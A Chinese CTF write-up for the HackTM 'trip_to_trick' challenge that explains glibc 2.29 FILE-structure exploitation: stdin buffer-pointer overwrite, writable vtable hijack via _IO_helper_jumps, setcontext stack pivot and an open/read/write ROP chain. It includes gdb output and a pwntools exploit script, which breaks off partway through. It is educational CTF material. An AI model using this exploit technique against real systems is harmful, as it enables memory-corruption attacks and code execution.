前几天打了HackTM CTF
,遇到了这样一道在glibc 2.29
下的文件利用的新型题目,虽然是用了更新的glibc,但是glibc2.29
的一个新特性使得解决方法比低版本的glibc文件利用更简单了一些,这里同大家分享一下。
文件为64位程序,保护全开,逻辑很简单,开头的gift
输出了system
函数的libc地址,在给定libc的条件下我们可以根据其在libc中的偏移计算得到libc基地址。之后有两次地址任意写的机会,最后关闭了stdout
、stdin
以及stderr
。
在程序的开头有一个nohack
函数,可以看到出题人调用mprotect
把从&stdout[10]._IO_write_end
开始的0x700字节设置为了只读,避免我们修改其中的值,这块区域我们动态调试看下,发现其内容是很多形如_IO*_jumps
的vtable
,也就是让这些vtable
只读不可写。
int nohack() { if ( ((_WORD)stdout + 0x8A0) & 0xFFF ) { puts("mprotect error"); exit(1); } return mprotect(&stdout[10]._IO_write_end, 0x700uLL, 1);// 可读 }
gdb-peda$ p & _IO_2_1_stdout_ $6 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_> gdb-peda$ x/8gx 0x7ffff7f6c760+0x8a0 0x7ffff7f6d000 <_IO_wfile_jumps_mmap+160>: 0x00007ffff7e19940 0x0000000000000000 0x7ffff7f6d010: 0x0000000000000000 0x0000000000000000 0x7ffff7f6d020 <_IO_wfile_jumps>: 0x0000000000000000 0x0000000000000000 0x7ffff7f6d030 <_IO_wfile_jumps+16>: 0x00007ffff7e15ff0 0x00007ffff7e10140 gdb-peda$ vmmap 0x7ffff7f6d000 Start End Perm Name 0x00007ffff7f6d000 0x00007ffff7f6e000 r--p /usr/lib/x86_64-linux-gnu/libc-2.29.so
此外程序开了沙箱,其规则如下,给open/read/write/mmap/mprotect/brk/rt_sigreturn/exitexit_group
这些系统调用开了白名单,其余一律禁掉。
wz@wz-virtual-machine:~/Desktop/CTF/BitsCTF/trip_to_trick1$ seccomp-tools dump ./trip_to_trick line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0b 0xffffffff if (A != 0xffffffff) goto 0016 0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015 0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015 0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015 0008: 0x15 0x06 0x00 0x00000003 if (A == close) goto 0015 0009: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0015 0010: 0x15 0x04 0x00 0x0000000a if (A == mprotect) goto 0015 0011: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0015 0012: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0015 0013: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0015 0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x06 0x00 0x00 0x00000000 return KILL
int __cdecl main(int argc, const char **argv, const char **envp) { _QWORD *v4; // [rsp+18h] [rbp-18h] __int64 v5; // [rsp+20h] [rbp-10h] unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); v5 = 0LL; sandbox(); nohack(); main_init(); printf("gift : %p\n", &system); printf("1 : "); __isoc99_scanf("%llx %llx", &v4, &v5); *v4 = v5; // 一次任意地址写 printf("2 : ", &v4); // can we leak this time? __isoc99_scanf("%llx %llx", &v4, &v5); *v4 = v5; // retn_addr = sth to go on rop? fclose(stdout); fclose(stdin); fclose(stderr); return 0; }
在之前的glibc pwn中我们大都做过无输出的glibc泄露型题目,即通过修改_IO_write_base
输出_IO_write_base
到_IO_write_ptr
的所有内容,最开始我的思路是一次任意写将_IO_write_ptr
改成environ
,从而泄露出stack
相关地址,下一次的任意地址写向返回地址写入gadget
,这种思路在没开沙箱以及没关闭输入输出流的情况下或许可行,但是沙箱使得我们无法getshell,而关闭输入输出也使得我们无法控制进行更多输入来构造rop chain
。这种情况下其实就暗示了我们需要从文件利用入手,且关注点应该放在fclose
上。
gdb-peda$ p _IO_2_1_stdout_ $3 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7f6d560 <_IO_file_jumps> }
那么我们先分析一下fclose
的源码,其核心函数是位于/libio/iofclose.c
的_IO_new_fclose
函数,其大致流程是:首先检查文件结构体指针,之后使用_IO_un_link
将文件结构体从_IO_list_all
链表取下,_IO_file_close_it
会最终调用系统调用关闭文件描述符,之后调用_IO_FINISH(fp)
,如果并非stdin/stdout/stderr
最后调用free(fp)
释放结构体指针。关于fclose
等函数的详细分析可以参见raycp
int _IO_new_fclose (FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help programs which are using streams in a strange way and mix old and new functions. Detect old streams here. */ if (_IO_vtable_offset (fp) != 0) return _IO_old_fclose (fp); #endif /* First unlink the stream. */ if (fp->_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0) { /* This stream has a wide orientation. This means we have to free the conversion functions. */ struct _IO_codecvt *cc = fp->_codecvt; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc->__cd_in.__cd.__steps); __gconv_release_step (cc->__cd_out.__cd.__steps); __libc_lock_unlock (__gconv_lock); } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_flags = 0; free(fp); } return status; }
看一下这里的_IO_FINISH
,会发现是一个宏,其实际上是vtable
的函数指针
/* The 'finish' function does any final cleaning up of an _IO_FILE object. It does not delete (free) it, but does everything else to finalize it. It matches the streambuf::~streambuf virtual destructor. */ typedef void (*_IO_finish_t) (FILE *, int); /* finalize */ #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) #define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0) struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); };
核心的实现为_IO_new_file_finish
函数,里面调用了_IO_default_finish (fp, 0);
,再往后我们不需要再跟了,因为这里我们发现函数的调用方式及参数是固定的,如果我们能控制vtable
及参数即可劫持执行流。
void _IO_new_file_finish (FILE *fp, int dummy) { if (_IO_file_is_open (fp)) { _IO_do_flush (fp); if (!(fp->_flags & _IO_DELETE_DONT_CLOSE)) _IO_SYSCLOSE (fp); } _IO_default_finish (fp, 0); }
那么下面就有了俩问题,一是如何控制输入可以覆盖到文件结构体的vtable
?二是自glibc 2.24后加入了vtable_check
机制,要如何伪造vtable
以及改写vtable
呢?
我们先来看第一个问题。
这个题目和WCTF2016
的一道wannaheap
非常相似,原题现也已放在pwnable.tw
,可以参见FlappyPig的分析,其大致原理和刚才所说的stdout
输入相似,即当我们能够控制_IO_2_1_stdin_
的_IO_buf_base
以及_IO_buf_end
字段,我们的输入将落在_IO_buf_base
到_IO_buf_end
之间的区域。因此我们用第一次的任意地址写将_IO_buf_end
改到value
,之后就可以控制_IO_buf_base
到value
之间的所有值,同理如果我们修改_IO_buf_base
的值为value
,我们也能控制val
到_IO_buf_end
的这块空间。
gdb-peda$ p _IO_2_1_stdin_ $9 = { file = { _flags = 0xfbad208b, _IO_read_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_read_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_read_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_write_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_write_ptr = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_write_end = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_buf_base = 0x7ffff7f6ba83 <_IO_2_1_stdin_+131> "", _IO_buf_end = 0x7ffff7f6ba84 <_IO_2_1_stdin_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0x0, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7f6e590 <_IO_stdfile_0_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7f6bae0 <_IO_wide_data_0>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7f6d560 <_IO_file_jumps> }
在glibc 2.23的house-of-orange
利用中我们已经有了一套成熟的流程来伪造vtable
到堆上并在堆上布置函数指针的方式来劫持执行流,但是在glibc 2.24之后由于有vtable_check
的存在,我们的vtable
必须要处于__start___libc_IO_vtables
和 __start___libc_IO_vtables
之间,因此我们伪造的vtable必须是其原有的vtable
,这一点在house of orange in glibc 2.24解释的很清楚。此外有了vtable
,最大的难题是按照我们以往经验,在glibc 2.23
以及glibc 2.27
其都是不可写的。我们可以找俩vtable分别验证一下,显示确实只读。不过到这里回想下既然都可读,为什么出题人多此一举要再把一些vtable
改成只读呢,这里其实已经暗示了,vtable在glibc 2.29是可写的
。这里我们换一个不在这块被修改了权限区域的vtable
,查看其权限,确实可写。
/* Check if unknown vtable pointers are permitted; otherwise, terminate the process. */ void _IO_vtable_check (void) attribute_hidden; /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
gdb-peda$ p & _IO_file_jumps $2 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps> gdb-peda$ vmmap 0x7ffff7dd06e0 Start End Perm Name 0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
pwndbg> p & _IO_helper_jumps $1 = (const struct _IO_jump_t *) 0x7ffff7b86820 <_IO_helper_jumps> pwndbg> vmmap 0x7ffff7b86820 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x7ffff7b86000 0x7ffff7b8a000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so pwndbg>
gdb-peda$ p & _IO_helper_jumps $1 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps> gdb-peda$ vmmap 0x7ffff7f6ca20 Start End Perm Name 0x00007ffff7f6b000 0x00007ffff7f6d000 rw-p /usr/lib/x86_64-linux-gnu/libc-2.29.so gdb-peda$ p _IO_helper_jumps $13 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e0d600 <__GI__IO_wdefault_finish>, __overflow = 0x7ffff7e01250 <_IO_helper_overflow>, __underflow = 0x7ffff7e18140 <_IO_default_underflow>, __uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>, __xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>, __xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>, __seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>, __seekpos = 0x7ffff7e18800 <_IO_default_seekpos>, __setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>, __sync = 0x7ffff7e18a60 <_IO_default_sync>, __doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>, __read = 0x7ffff7e19910 <_IO_default_read>, __write = 0x7ffff7e19920 <_IO_default_write>, __seek = 0x7ffff7e198f0 <_IO_default_seek>, __close = 0x7ffff7e18a60 <_IO_default_sync>, __stat = 0x7ffff7e19900 <_IO_default_stat>, __showmanyc = 0x0, __imbue = 0x0 }
这里我们发现自己的思路是可行的,还有一个关键问题是如何寻找合适的vtable
,这里我的方法就比较无脑了,首先拿vscode
全局搜索_IO_jump_t
,找到一个这种类型的变量记录下名称到gdb
中查看其权限,最后选择_IO_helper_jumps
这个vtable
。
所以最后我们的利用链是:
_IO_buf_end
改为_IO_helper_jumps_addr+0x200
,调试可以发现stdout
在`_IO_helper_jumps_addr
前面,这样保证都可以覆盖到,至于为什么目标是stdout
是因为我们fclose的第一个对象是stdout
payload
,覆写_IO_2_1_stdout_
的vtable
为_IO_helper_jumps
,覆写_IO_helper_jumps
的__GI__IO_wdefault_finish
为setcontext+53
,只要我们可以控制rdx+*
的区域就可以控制其参数rcx
是ret之后执行的rip
,我们设置其为一个leav;ret
的gadget,在rbp
设置我们rop chain
的地址-8,栈迁移之后调用open/read/write
系统调用,至于rop chain
,我们把它布置到main_arena
前一大段零字节区域。gdb-peda$ p & setcontext $14 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext> gdb-peda$ x/32i 0x7ffff7ddce00+53 0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0] 0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80] 0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78] 0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48] 0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50] 0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58] 0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60] 0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8] 0x7ffff7ddce5e <setcontext+94>: push rcx 0x7ffff7ddce5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70] 0x7ffff7ddce63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68] 0x7ffff7ddce67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98] 0x7ffff7ddce6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28] 0x7ffff7ddce72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30] 0x7ffff7ddce76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88] 0x7ffff7ddce7d <setcontext+125>: xor eax,eax 0x7ffff7ddce7f <setcontext+127>: ret
上述利用思路3里有一个核心的部分是控制rdx
,这里有一个简单的方法来迅速验证某些猜想,即在gdb中使用强制修改内存的方式模拟溢出过程,比如这里我们希望查看调用setcontext+53
时候的情况,使用set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20
修改stdout的vtable为_IO_helper_jumps
,使用set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35
修改_IO_helper_jumps->__finish
为setcontext+53
,
gdb-peda$ p & _IO_2_1_stdout_ $1 = (struct _IO_FILE_plus *) 0x7ffff7f6c760 <_IO_2_1_stdout_> gdb-peda$ p _IO_2_1_stdout_ $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7f6d560 <_IO_file_jumps> } gdb-peda$ telescope 0x7ffff7f6c760 40 0000| 0x7ffff7f6c760 --> 0xfbad2887 0008| 0x7ffff7f6c768 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0016| 0x7ffff7f6c770 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0024| 0x7ffff7f6c778 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0032| 0x7ffff7f6c780 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0040| 0x7ffff7f6c788 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0048| 0x7ffff7f6c790 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0056| 0x7ffff7f6c798 --> 0x7ffff7f6c7e3 --> 0xf6e5800000000000 0064| 0x7ffff7f6c7a0 --> 0x7ffff7f6c7e4 --> 0xf7f6e58000000000 0072| 0x7ffff7f6c7a8 --> 0x0 0080| 0x7ffff7f6c7b0 --> 0x0 0088| 0x7ffff7f6c7b8 --> 0x0 0096| 0x7ffff7f6c7c0 --> 0x0 0104| 0x7ffff7f6c7c8 --> 0x7ffff7f6ba00 --> 0xfbad208b 0112| 0x7ffff7f6c7d0 --> 0x1 0120| 0x7ffff7f6c7d8 --> 0xffffffffffffffff 0128| 0x7ffff7f6c7e0 --> 0x0 0136| 0x7ffff7f6c7e8 --> 0x7ffff7f6e580 --> 0x0 0144| 0x7ffff7f6c7f0 --> 0xffffffffffffffff 0152| 0x7ffff7f6c7f8 --> 0x0 0160| 0x7ffff7f6c800 --> 0x7ffff7f6b8c0 --> 0x0 0168| 0x7ffff7f6c808 --> 0x0 0176| 0x7ffff7f6c810 --> 0x0 0184| 0x7ffff7f6c818 --> 0x0 0192| 0x7ffff7f6c820 --> 0xffffffff --More--(25/40)0200| 0x7ffff7f6c828 --> 0x0 0208| 0x7ffff7f6c830 --> 0x0 0216| 0x7ffff7f6c838 --> 0x7ffff7f6d560 --> 0x0 gdb-peda$ p & _IO_helper_jumps $3 = (const struct _IO_jump_t *) 0x7ffff7f6ca20 <_IO_helper_jumps> gdb-peda$ telescope 0x7ffff7f6ca20 0000| 0x7ffff7f6ca20 --> 0x0 0008| 0x7ffff7f6ca28 --> 0x0 0016| 0x7ffff7f6ca30 --> 0x7ffff7e0d600 (<__GI__IO_wdefault_finish>: push rbx) 0024| 0x7ffff7f6ca38 --> 0x7ffff7e01250 (<_IO_helper_overflow>: push r13) 0032| 0x7ffff7f6ca40 --> 0x7ffff7e18140 (<_IO_default_underflow>: mov eax,0xffffffff) 0040| 0x7ffff7f6ca48 --> 0x7ffff7e18150 (<__GI__IO_default_uflow>: push rbp) 0048| 0x7ffff7f6ca50 --> 0x7ffff7e0d430 (<__GI__IO_wdefault_pbackfail>: push r15) 0056| 0x7ffff7f6ca58 --> 0x7ffff7e0d760 (<__GI__IO_wdefault_xsputn>: push r15) gdb-peda$ p & setcontext $5 = (<text variable, no debug info> *) 0x7ffff7ddce00 <setcontext> gdb-peda$ x/8i 0x7ffff7ddce00+53 0x7ffff7ddce35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0] 0x7ffff7ddce3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80] 0x7ffff7ddce43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78] 0x7ffff7ddce47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48] 0x7ffff7ddce4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50] 0x7ffff7ddce4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58] 0x7ffff7ddce53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60] 0x7ffff7ddce57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
效果如下,可以看到调用setcontext+53
的时候其参数寄存器rdx
的内容为_IO_helper_jumps
,后面的部分均可控,至此,我们完成了漏洞利用的全过程。
gdb-peda$ set {long long} 0x7ffff7f6c838 = 0x7ffff7f6ca20 gdb-peda$ set {long long} 0x7ffff7f6ca30 = 0x7ffff7ddce35 gdb-peda$ p _IO_2_1_stdout_ $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_read_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_ptr = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_write_end = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_base = 0x7ffff7f6c7e3 <_IO_2_1_stdout_+131> "", _IO_buf_end = 0x7ffff7f6c7e4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7f6ba00 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7f6e580 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7f6b8c0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7f6ca20 <_IO_helper_jumps> } gdb-peda$ p _IO_helper_jumps $3 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7ddce35 <setcontext+53>, __overflow = 0x7ffff7e01250 <_IO_helper_overflow>, __underflow = 0x7ffff7e18140 <_IO_default_underflow>, __uflow = 0x7ffff7e18150 <__GI__IO_default_uflow>, __pbackfail = 0x7ffff7e0d430 <__GI__IO_wdefault_pbackfail>, __xsputn = 0x7ffff7e0d760 <__GI__IO_wdefault_xsputn>, __xsgetn = 0x7ffff7e0de60 <__GI__IO_wdefault_xsgetn>, __seekoff = 0x7ffff7e18ae0 <_IO_default_seekoff>, __seekpos = 0x7ffff7e18800 <_IO_default_seekpos>, __setbuf = 0x7ffff7e186d0 <_IO_default_setbuf>, __sync = 0x7ffff7e18a60 <_IO_default_sync>, __doallocate = 0x7ffff7e0da60 <__GI__IO_wdefault_doallocate>, __read = 0x7ffff7e19910 <_IO_default_read>, __write = 0x7ffff7e19920 <_IO_default_write>, __seek = 0x7ffff7e198f0 <_IO_default_seek>, __close = 0x7ffff7e18a60 <_IO_default_sync>, __stat = 0x7ffff7e19900 <_IO_default_stat>, __showmanyc = 0x0, __imbue = 0x0 } gdb-peda$ p $rdx $4 = 0x7ffff7f6c960 gdb-peda$ x/8gx 0x7ffff7f6c960 0x7ffff7f6c960 <_IO_helper_jumps>: 0x0000000000000000 0x0000000000000000 0x7ffff7f6c970 <_IO_helper_jumps+16>: 0x00007ffff7e18a70 0x00007ffff7dfb530 0x7ffff7f6c980 <_IO_helper_jumps+32>: 0x00007ffff7e18140 0x00007ffff7e18150 0x7ffff7f6c990 <_IO_helper_jumps+48>: 0x00007ffff7e197b0 0x00007ffff7e181b0
代码写的很无脑,关掉地址随机化查看内存内容之后加上偏移,保证其余部分不变,有余力的朋友可以dump下内存自动化地构造payload。
#coding=utf-8 from pwn import * context.update(arch='amd64',os='linux',log_level='DEBUG') context.terminal = ['tmux','split','-h'] debug = 1 elf = ELF('./trip_to_trick') libc_offset = 0x3c4b20 gadgets = [0x45216,0x4526a,0xf02a4,0xf1147] if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./trip_to_trick') else: libc = ELF('./x64_libc.so.6') p = remote('f.buuoj.cn',20173) def exp(): #leak libc #raw_input() p.recvuntil("gift : 0x") libc_base = int(p.recvline().strip('\n'),16) - libc.sym['system'] log.success("libc base => " + hex(libc_base)) libc.address = libc_base stdin = libc.sym['_IO_2_1_stdin_'] stdout = libc.sym['_IO_2_1_stdout_'] stderr = libc.sym['_IO_2_1_stderr_'] environ = libc.sym['environ'] IO_helper_jumps = libc_base + (0x7ffff7f6ca20 - 0x7ffff7d87000) static_libc = 0x7ffff7d87000 #gdb.attach(p,'b* 0x0000555555554000+0x1527') p.recvuntil("1 : ") p.sendline(hex(stdin+0x40))#_IO_buf_end p.sendline(hex(IO_helper_jumps+0x200))#_IO_buf_base #huge payload payload = '\x0a'+'\x00'*4 layout = [ libc_base + (0x7ffff7f6e590-static_libc), 0xffffffffffffffff, 0x0, 0x7ffff7f6bae0, 0x0, 0x0, 0x0, 0xffffffff, libc_base + (0x7ffff7f6bac8-static_libc), 0x0, 0x7ffff7f6d560 ] layout = flat(layout) payload += layout #start with 0x7ffff7f6bae0 fake_top_chunk = libc_base + (0x7ffff7f6bae0-static_libc) part2 = p64(0)+p64(0x10000-(fake_top_chunk&0xf000)+1) arg_list = [libc_base+(0x7ffff7f6ca10-static_libc),libc_base+(0x7ffff7f6ca50-static_libc)] leave_ret = libc_base + 0x0000000000058373 p_rdx_rsi = libc_base + 0x000000000012bdc9 p_rdi = libc_base + 0x0000000000026542 p_rsi = libc_base + 0x0000000000026f9e p_rdx = libc_base + 0x000000000012bda6 p_rax = libc_base + 0x0000000000047cf8 syscall = libc_base + 0x00000000000cf6c5 rops = p64(p_rax)+p64(2) rops += p64(syscall) #rops += p64(libc.sym['open']) #read rops += p64(p_rdi)+p64(3) rops += p64(p_rdx_rsi)+p64(0x20)+p64(arg_list[1]) rops += p64(p_rax)+p64(0) rops += p64(syscall) #rops += p64(libc.sym['read']) #write rops += p64(p_rdi)+p64(2) rops += p64(p_rsi)+p64(arg_list[1]) rops += p64(p_rax)+p64(1) rops += p64(syscall) print len(rops) part2 += rops+'\x00'*(0xba0-0xae0+8-0x10-len(rops)) part2 += p64(libc_base+(0x7ffff7f6bba8-static_libc))+'\x00'*(0xc08-0xbb0+8)+p64(0)*2+p64(libc_base+(0x7ffff7e20190-static_libc))+p64(0)*3 payload += part2 #start with main_arena main_arena = p64(0)+p64(0)#have_fastchunks = 0 main_arena += p64(0)*10 #fake top chunk main_arena += p64(fake_top_chunk)+p64(0)*3 payload += main_arena #satrt:0x7ffff7f6bcc0 end:0x7ffff7f6c498 main_arena1 = '' for i in range(0,(0x7ffff7f6c498-0x7ffff7f6bcc0+8)/8,2): main_arena1 += p64(libc_base + (0x7ffff7f6bcc0-static_libc) - 0x10 + (i/2)*0x10)*2 payload += main_arena1 #begin with 0x7ffff7f6c4a0 part3 = flat([ 0x4, 0x0, libc_base+(0x7ffff7f6bc40-static_libc), 0, 1, 0x21000, 0x21000, 